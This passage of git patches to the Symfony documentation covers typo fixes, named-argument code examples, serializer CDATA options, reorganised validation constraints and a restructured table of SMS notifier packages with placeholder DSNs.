+    This behavior cannot be changed without backwards-compatibility concerns, but
+    it's possible to call ``setData`` and pass the value there to opt-out of the
+    behavior.
+
 JSONP Callback
 ~~~~~~~~~~~~~~
 
@@ -797,5 +807,6 @@ Learn More
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
+.. _`valid JSON top-level value`: https://www.json.org/json-en.html
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674

From 90802a6f774061c35392d491753cb87c490ba136 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 May 2024 15:49:22 +0200
Subject: [PATCH 4733/5766] Tweak

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9614c3a4e55..2259f9f0e08 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -163,7 +163,7 @@ can define what happens in these cases:
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
     If the user is authenticated, this method is called with the
     authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to their profile page).
+    redirect the user to some page).
 
     If ``null`` is returned, the request continues like normal (i.e. the
     controller matching the login route is called). This is useful for API

From d49fa646c7a21cc46528aa15e41e21c8e4708bd6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 May 2024 17:15:54 +0200
Subject: [PATCH 4734/5766] backport #19874 to 5.4

---
 reference/configuration/kernel.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 0e31e423dd9..18554d2d467 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -47,7 +47,7 @@ charset::
 Project Directory
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: the directory of the project ``composer.json``
+**type**: ``string`` **default**: the directory of the project's ``composer.json``
 
 This returns the absolute path of the root directory of your Symfony project,
 which is used by applications to perform operations with file paths relative to
@@ -75,6 +75,8 @@ method to return the right project directory::
 
         public function getProjectDir(): string
         {
+            // when defining a hardcoded string, don't add the trailing slash to the path
+            // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }
     }

From d670e01d8dd2c7a24f4d9b7f8ff05b1165c342fd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 May 2024 17:18:44 +0200
Subject: [PATCH 4735/5766] fix typo

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 0125094a64d..e12482aae4a 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -288,7 +288,7 @@ have deleted it entirely (for example in the production servers), override the
 
         public function getProjectDir(): string
         {
-            // when defining a hardcoded string, don't add the triailing slash to the path
+            // when defining a hardcoded string, don't add the trailing slash to the path
             // e.g. '/home/user/my_project', '/app', '/var/www/example.com'
             return \dirname(__DIR__);
         }

From 486c967f24591dc9ccb18f30478e30cfad360f2b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 13 May 2024 10:37:12 +0200
Subject: [PATCH 4736/5766] [String] add named arguments

---
 components/string.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index ca289c70ba4..0cf0583da6c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -217,7 +217,7 @@ Methods to Change Case
 
     // changes all graphemes/code points to "title case"
     u('foo bar')->title();     // 'Foo bar'
-    u('foo bar')->title(true); // 'Foo Bar'
+    u('foo bar')->title(allWords: true); // 'Foo Bar'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
@@ -255,20 +255,20 @@ Methods to Append and Prepend
     u('UserControllerController')->ensureEnd('Controller'); // 'UserController'
 
     // returns the contents found before/after the first occurrence of the given string
-    u('hello world')->before('world');   // 'hello '
-    u('hello world')->before('o');       // 'hell'
-    u('hello world')->before('o', true); // 'hello'
+    u('hello world')->before('world');                  // 'hello '
+    u('hello world')->before('o');                      // 'hell'
+    u('hello world')->before('o', includeNeedle: true); // 'hello'
 
-    u('hello world')->after('hello');   // ' world'
-    u('hello world')->after('o');       // ' world'
-    u('hello world')->after('o', true); // 'o world'
+    u('hello world')->after('hello');                  // ' world'
+    u('hello world')->after('o');                      // ' world'
+    u('hello world')->after('o', includeNeedle: true); // 'o world'
 
     // returns the contents found before/after the last occurrence of the given string
-    u('hello world')->beforeLast('o');       // 'hello w'
-    u('hello world')->beforeLast('o', true); // 'hello wo'
+    u('hello world')->beforeLast('o');                      // 'hello w'
+    u('hello world')->beforeLast('o', includeNeedle: true); // 'hello wo'
 
-    u('hello world')->afterLast('o');       // 'rld'
-    u('hello world')->afterLast('o', true); // 'orld'
+    u('hello world')->afterLast('o');                      // 'rld'
+    u('hello world')->afterLast('o', includeNeedle: true); // 'orld'
 
 Methods to Pad and Trim
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -381,17 +381,17 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
     // (the total length includes the length of this character(s))
-    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    u('Lorem Ipsum')->truncate(8, '…');             // 'Lorem I…'
     // if the third argument is false, the last word before the cut is kept
     // even if that generates a string longer than the desired length
-    u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
+    u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum'
 
 ::
 
     // breaks the string into lines of the given length
-    u('Lorem Ipsum')->wordwrap(4);             // 'Lorem\nIpsum'
+    u('Lorem Ipsum')->wordwrap(4);                  // 'Lorem\nIpsum'
     // by default it breaks by white space; pass TRUE to break unconditionally
-    u('Lorem Ipsum')->wordwrap(4, "\n", true); // 'Lore\nm\nIpsu\nm'
+    u('Lorem Ipsum')->wordwrap(4, "\n", cut: true); // 'Lore\nm\nIpsu\nm'
 
     // replaces a portion of the string with the given contents:
     // the second argument is the position where the replacement starts;
@@ -405,7 +405,7 @@ Methods to Join, Split, Truncate and Reverse
     u('0123456789')->chunk(3);  // ['012', '345', '678', '9']
 
     // reverses the order of the string contents
-    u('foo bar')->reverse(); // 'rab oof'
+    u('foo bar')->reverse();  // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
 Methods Added by ByteString

From 027f32aa29bc71138e8bfc432969fbe3edd78da0 Mon Sep 17 00:00:00 2001
From: Maxim <BigShark666@gmail.com>
Date: Tue, 14 May 2024 13:23:14 +0200
Subject: [PATCH 4737/5766] Small type fixes for scheduler.rst

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8c9aaa48b1c..d23df3b3044 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -662,7 +662,7 @@ being transferred and processed by its handler::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->before(function(PreRunEvent $event) {
                     $message = $event->getMessage();
                     $messageContext = $event->getMessageContext();
@@ -675,13 +675,13 @@ being transferred and processed by its handler::
 
                     // allow to call the ShouldCancel() and avoid the message to be handled
                         $event->shouldCancel(true);
-                }
+                })
                 ->after(function(PostRunEvent $event) {
                     // Do what you want
-                }
+                })
                 ->onFailure(function(FailureEvent $event) {
                     // Do what you want
-                }
+                });
         }
     }
 

From 705d5d2ae91a508c7c1be057f4f4228e5e537c74 Mon Sep 17 00:00:00 2001
From: AndoniLarz <andoni@larzabal.eu>
Date: Sat, 1 Apr 2023 16:08:11 +0200
Subject: [PATCH 4738/5766] [Serializer] Add documentation about a new
 XmlEncoder CDATA wrapping opt-out context option

---
 components/serializer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 62f8af323b1..febc23e3495 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1206,8 +1206,16 @@ Option                          Description
 ``save_options``                XML saving `options with libxml`_                  ``0``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
+``cdata_wrapping``              If set to false, will not wrap any value           ``true``
+                                containing one of the following characters (
+                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
+                                following: ``<![CDATA[...]]>``
 ==============================  =================================================  ==========================
 
+.. versionadded:: 6.4
+
+    The `cdata_wrapping` option was introduced in Symfony 6.4.
+
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;
@@ -1936,3 +1944,4 @@ Learn more
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _seld/jsonlint: https://github.com/Seldaek/jsonlint
 .. _$flags: https://www.php.net/manual/en/json.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA

From f1927e150b0c22276c051318367b9da99beecbbe Mon Sep 17 00:00:00 2001
From: gitomato <gitomatodev@gmail.com>
Date: Mon, 13 May 2024 11:08:26 +0200
Subject: [PATCH 4739/5766] Move Doctrine constraints out of Other constraints

---
 reference/constraints/map.rst.inc | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 1d56346b096..58f519965d1 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -86,6 +86,13 @@ Financial and other Number Constraints
 * :doc:`Issn </reference/constraints/Issn>`
 * :doc:`Isin </reference/constraints/Isin>`
 
+Doctrine Constraints
+~~~~~~~~~~~~~~~~~~~~
+
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
@@ -100,6 +107,3 @@ Other Constraints
 * :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`
-* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
-* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
-* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`

From 5961ea1cccb8307bbecb684f4af0bd734654ec08 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 May 2024 07:20:14 +0200
Subject: [PATCH 4740/5766] -

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 510fecd3296..4cec5859ebc 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -729,7 +729,7 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
     Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'.
     Methods responding to POST requests only remain unaffected.
 
-.. danger::
+.. warning::
 
     The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior
     and will treat ``null`` as an empty object if passed as a constructor argument,

From 0496c33aabb74b986e9c0fcb99a6c57d101811fb Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 16 May 2024 09:55:02 +0200
Subject: [PATCH 4741/5766] Update advice

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index f4edb68c404..2a250faaad1 100644
--- a/testing.rst
+++ b/testing.rst
@@ -97,7 +97,7 @@ You can run tests using the ``bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``).
+    each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``).
 
 .. _integration-tests:
 

From a40bf7c2d12b049a1190e0727c1096b95fe2908a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 16 May 2024 13:20:12 +0200
Subject: [PATCH 4742/5766] -

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 03583918304..9fc4c8d5417 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1166,10 +1166,6 @@ Option                          Description
                                 following: ``<![CDATA[...]]>``
 ==============================  =================================================  ==========================
 
-.. versionadded:: 6.4
-
-    The `cdata_wrapping` option was introduced in Symfony 6.4.
-
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;

From c6d35123b955de9a0a7080f4b78fee3ec7b32ef1 Mon Sep 17 00:00:00 2001
From: alexpozzi <alexpozzi@users.noreply.github.com>
Date: Mon, 13 May 2024 17:49:41 +0200
Subject: [PATCH 4743/5766] Add missing XML serializer's CDATA options

---
 components/serializer.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2d1ea2c7637..1c86a111084 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1200,11 +1200,17 @@ Option                          Description
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
 ``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                containing one of the following characters (
-                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
-                                following: ``<![CDATA[...]]>``
+                                matching the ``cdata_wrapping_pattern`` regex in
+                                `a CDATA section`_ like following:
+                                ``<![CDATA[...]]>``
+``cdata_wrapping_pattern``      A regular expression pattern to determine if a     ``/[<>&]/``
+                                value should be wrapped in a CDATA section
 ==============================  =================================================  ==========================
 
+.. versionadded:: 7.1
+
+    The `cdata_wrapping_pattern` option was introduced in Symfony 7.1.
+
 Example with custom ``context``::
 
     use Symfony\Component\Serializer\Encoder\XmlEncoder;

From b87da5685bafece785392e325044fe47b4bd697d Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Fri, 17 May 2024 08:20:02 +0200
Subject: [PATCH 4744/5766] [Console] Add other pre-defined block styles

---
 components/console/helpers/formatterhelper.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 5e4ae0d91fb..3cb87c4c307 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -64,8 +64,9 @@ block will be formatted with more padding (one blank line above and below the
 messages and 2 spaces on the left and right).
 
 The exact "style" you use in the block is up to you. In this case, you're using
-the pre-defined ``error`` style, but there are other styles, or you can create
-your own. See :doc:`/console/coloring`.
+the pre-defined ``error`` style, but there are other styles (``info``,
+``comment``, ``question``), or you can create your own.
+See :doc:`/console/coloring`.
 
 Print Truncated Messages
 ------------------------
@@ -87,7 +88,7 @@ And the output will be:
 
     This is...
 
-The message is truncated to the given length, then the suffix is appended to end
+The message is truncated to the given length, then the suffix is appended to the end
 of that string.
 
 Negative String Length
@@ -109,7 +110,7 @@ Custom Suffix
 
 By default, the ``...`` suffix is used. If you wish to use a different suffix,
 pass it as the third argument to the method.
-The suffix is always appended, unless truncate length is longer than a message
+The suffix is always appended, unless truncated length is longer than a message
 and a suffix length.
 If you don't want to use suffix at all, pass an empty string::
 

From 4554fdfd6d2220a9ba23801247df24883728aaff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 May 2024 13:14:21 +0200
Subject: [PATCH 4745/5766] [Notifier] Change the structure of the table
 listing the notifiers

---
 notifier.rst | 179 +++++++++++++++++++++++++++++++++++++--------------
 1 file changed, 132 insertions(+), 47 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 9b9eaf957bd..af134f4d349 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,53 +55,138 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==================  =====================================  ========================================================================================================================= ===============
-Service             Package                                DSN                                                                                                                       Webhook support
-==================  =====================================  ========================================================================================================================= ===============
-`46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-`AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
-`AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-`Bandwidth`_        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
-`Brevo`_            ``symfony/brevo-notifier``             ``brevo://API_KEY@default?sender=SENDER``
-`Clickatell`_       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
-`ContactEveryone`_  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
-`Esendex`_          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-`FakeSms`_          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-`FreeMobile`_       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API_KEY@default?phone=PHONE``
-`GatewayApi`_       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
-`GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
-`Infobip`_          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
-`Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-`iSendPro`_         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
-`KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-`LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-`Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
-`MessageBird`_      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
-`MessageMedia`_     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-`Mobyt`_            ``symfony/mobyt-notifier``             ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-`Nexmo`_            ``symfony/nexmo-notifier``             Abandoned in favor of Vonage (symfony/vonage-notifier).
-`Octopush`_         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-`OrangeSms`_        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-`OvhCloud`_         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-`Plivo`_            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
-`Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
-`RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
-`Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
-`Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
-`SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
-`Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-`Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
-`SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-`Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
-`SMSFactor`_        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-`SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
-`Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-`TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
-`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
-`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
-`Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
-==================  =====================================  ========================================================================================================================= ===============
+==================  ====================================================================================================================================
+Service
+==================  ====================================================================================================================================
+`46elks`_           **Install**: ``composer require symfony/forty-six-elks-notifier`` \
+                    **DSN**: ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
+                    **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
+                    **Webhook support**: No
+`AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
+                    **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
+                    **Webhook support**: No
+`Bandwidth`_        **Install**: ``composer require symfony/bandwidth-notifier`` \
+                    **DSN**: ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` \
+                    **Webhook support**: No
+`Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
+                    **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
+                    **Webhook support**: No
+`Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
+                    **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`ContactEveryone`_  **Install**: ``composer require symfony/contact-everyone-notifier`` \
+                    **DSN**: ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` \
+                    **Webhook support**: No
+`Esendex`_          **Install**: ``composer require symfony/esendex-notifier`` \
+                    **DSN**: ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` \
+                    **Webhook support**: No
+`FakeSms`_          **Install**: ``composer require symfony/fake-sms-notifier`` \
+                    **DSN**: ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` \
+                    **Webhook support**: No
+`FreeMobile`_       **Install**: ``composer require symfony/free-mobile-notifier`` \
+                    **DSN**: ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` \
+                    **Webhook support**: No
+`GatewayApi`_       **Install**: ``composer require symfony/gateway-api-notifier`` \
+                    **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`GoIP`_             **Install**: ``composer require symfony/goip-notifier`` \
+                    **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \
+                    **Webhook support**: No
+`Infobip`_          **Install**: ``composer require symfony/infobip-notifier`` \
+                    **DSN**: ``infobip://AUTH_TOKEN@HOST?from=FROM`` \
+                    **Webhook support**: No
+`Iqsms`_            **Install**: ``composer require symfony/iqsms-notifier`` \
+                    **DSN**: ``iqsms://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`iSendPro`_         **Install**: ``composer require symfony/isendpro-notifier`` \
+                    **DSN**: ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` \
+                    **Webhook support**: No
+`KazInfoTeh`_       **Install**: ``composer require symfony/kaz-info-teh-notifier`` \
+                    **DSN**: ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` \
+                    **Webhook support**: No
+`LightSms`_         **Install**: ``composer require symfony/light-sms-notifier`` \
+                    **DSN**: ``lightsms://LOGIN:TOKEN@default?from=PHONE`` \
+                    **Webhook support**: No
+`Mailjet`_          **Install**: ``composer require symfony/mailjet-notifier`` \
+                    **DSN**: ``mailjet://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageBird`_      **Install**: ``composer require symfony/message-bird-notifier`` \
+                    **DSN**: ``messagebird://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageMedia`_     **Install**: ``composer require symfony/message-media-notifier`` \
+                    **DSN**: ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` \
+                    **Webhook support**: No
+`Mobyt`_            **Install**: ``composer require symfony/mobyt-notifier`` \
+                    **DSN**: ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Nexmo`_            **Install**: ``composer require symfony/nexmo-notifier`` \
+                    Abandoned in favor of Vonage (see below) \
+`Octopush`_         **Install**: ``composer require symfony/octopush-notifier`` \
+                    **DSN**: ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` \
+                    **Webhook support**: No
+`OrangeSms`_        **Install**: ``composer require symfony/orange-sms-notifier`` \
+                    **DSN**: ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` \
+                    **Webhook support**: No
+`OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
+                    **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
+                    **Webhook support**: No
+`Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
+                    **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Redlink`_          **Install**: ``composer require symfony/redlink-notifier`` \
+                    **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \
+                    **Webhook support**: No
+`RingCentral`_      **Install**: ``composer require symfony/ring-central-notifier`` \
+                    **DSN**: ``ringcentral://API_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Sendberry`_        **Install**: ``composer require symfony/sendberry-notifier`` \
+                    **DSN**: ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` \
+                    **Webhook support**: No
+`Sendinblue`_       **Install**: ``composer require symfony/sendinblue-notifier`` \
+                    **DSN**: ``sendinblue://API_KEY@default?sender=PHONE`` \
+                    **Webhook support**: No
+`Sms77`_            **Install**: ``composer require symfony/sms77-notifier`` \
+                    **DSN**: ``sms77://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`SimpleTextin`_     **Install**: ``composer require symfony/simple-textin-notifier`` \
+                    **DSN**: ``simpletextin://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`Sinch`_            **Install**: ``composer require symfony/sinch-notifier`` \
+                    **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Smsapi`_           **Install**: ``composer require symfony/smsapi-notifier`` \
+                    **DSN**: ``smsapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
+                    **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
+                    **Webhook support**: No
+`Smsc`_             **Install**: ``composer require symfony/smsc-notifier`` \
+                    **DSN**: ``smsc://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`SMSFactor`_        **Install**: ``composer require symfony/sms-factor-notifier`` \
+                    **DSN**: ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` \
+                    **Webhook support**: No
+`SpotHit`_          **Install**: ``composer require symfony/spot-hit-notifier`` \
+                    **DSN**: ``spothit://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Telnyx`_           **Install**: ``composer require symfony/telnyx-notifier`` \
+                    **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \
+                    **Webhook support**: No
+`TurboSms`_         **Install**: ``composer require symfony/turbo-sms-notifier`` \
+                    **DSN**: ``turbosms://AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Twilio`_           **Install**: ``composer require symfony/twilio-notifier`` \
